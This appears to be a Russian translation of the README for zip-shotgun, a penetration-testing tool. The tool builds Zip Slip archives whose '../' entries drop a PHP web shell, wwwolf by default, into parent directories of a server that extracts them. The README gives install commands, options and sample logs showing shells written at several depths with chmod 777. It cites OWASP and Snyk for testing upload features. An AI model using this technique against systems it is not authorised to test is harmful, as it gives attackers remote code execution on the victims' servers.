
Утилитарный скрипт для тестирования функциональности загрузки zip-файлов (и возможного извлечения zip-файлов) на уязвимости (также известные как Zip Slip)
Утилита для тестирования функциональности загрузки zip-файлов (и возможного извлечения zip-файлов) на уязвимости (также известные как Zip Slip). Идея для этого скрипта взята из этой статьи в Silent Signal Techblog - Загрузка сжатого файла и выполнение команд и из OWASP - Тестирование загрузки вредоносных файлов
На Snyk.io есть отчёт о том, как это работает: Уязвимость Zip Slip и репозиторий GitHub с уязвимыми библиотеками на разных языках: Репозиторий Snyk.io Zip Slip на GitHub
Также есть отличное видео от LiveOverflow, проливающее свет на уязвимости Zip Slip и Zipperdown: Критические уязвимости .zip? - Zip Slip и ZipperDown
Этот скрипт создаёт архив, содержащий файлы с "../" в имени. При извлечении это может привести к тому, что файлы будут извлечены в родительские каталоги. Это может позволить атакующему разместить оболочки в каталогах, доступных через веб-браузер.
По умолчанию используется PHP-веб-оболочка wwwolf, и вся заслуга в этом принадлежит WhiteWinterWolf. Исходный код доступен ЗДЕСЬ
Установка с помощью Python pip (требуется Python 3)
pip3 install zip-shotgun --upgrade
Клонирование репозитория git и установка
git clone https://github.com/jpiechowka/zip-shotgun.git
Выполните из корневого каталога клонированного репозитория (где находится файл setup.py)
pip3 install . --upgrade
Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE
Options:
--version Показать версию и выйти.
-c, --directories-count INTEGER
Количество каталогов для возврата
внутри zip-файла (например, 3 означает, что
в zip будут добавлены 3 файла: shell.php,
../shell.php и ../../shell.php, где
shell.php — это имя указанной вами оболочки
или случайно сгенерированное значение)
[по умолчанию: 16]
-n, --shell-name TEXT Имя оболочки внутри созданного zip-
файла (например, shell). Если не указано, будет
сгенерировано случайное. Не может содержать пробелы
-f, --shell-file-path PATH Файл, содержащий код оболочки. Если
эта опция не указана, будет добавлена
оболочка wwwolf
(https://github.com/WhiteWinterWolf/wwwolf-
php-webshell) . Если указано имя, оно
будет добавлено в zip с указанным именем,
или, если не указано, имя будет случайно
сгенерировано.
--compress Включить сжатие. Если этот флаг установлен,
архив будет сжат с использованием алгоритма
DEFLATE с уровнем сжатия 9. По умолчанию
сжатие не применяется.
-h, --help Показать это сообщение и выйти.
Использование всех параметров по умолчанию
zip-shotgun archive.zip
Часть вывода скрипта
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Имя оболочки не было указано. Сгенерировано случайное имя оболочки: BCsQOkiN23ur7OUj
12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Файл оболочки не был указан. Используется код веб-оболочки wwwolf по умолчанию
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Используется расширение файла по умолчанию для веб-оболочки wwwolf: php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Флаг --compress НЕ установлен. Архив будет несжатым. Файлы будут только сохранены.
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Запись файла в архив: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Запись файла в архив: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Запись файла в архив: ../../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../BCsQOkiN23ur7OUj.php
...
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Готово. Попробуйте получить доступ к оболочке, используя BCsQOkiN23ur7OUj.php в URL
Использование параметров по умолчанию и включение сжатия для архивного файла
zip-shotgun --compress archive.zip
Часть вывода скрипта
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Имя оболочки не было указано. Сгенерировано случайное имя оболочки: 6B6NtnZXbXSubDCh
12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Файл оболочки не был указан. Используется код веб-оболочки wwwolf по умолчанию
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Используется расширение файла по умолчанию для веб-оболочки wwwolf: php
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Флаг --compress был установлен. Архив будет сжат с использованием алгоритма DEFLATE с уровнем 9
...
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Готово. Попробуйте получить доступ к оболочке, используя 6B6NtnZXbXSubDCh.php в URL
Использование параметров по умолчанию, но изменение количества каталогов для возврата в архиве на 3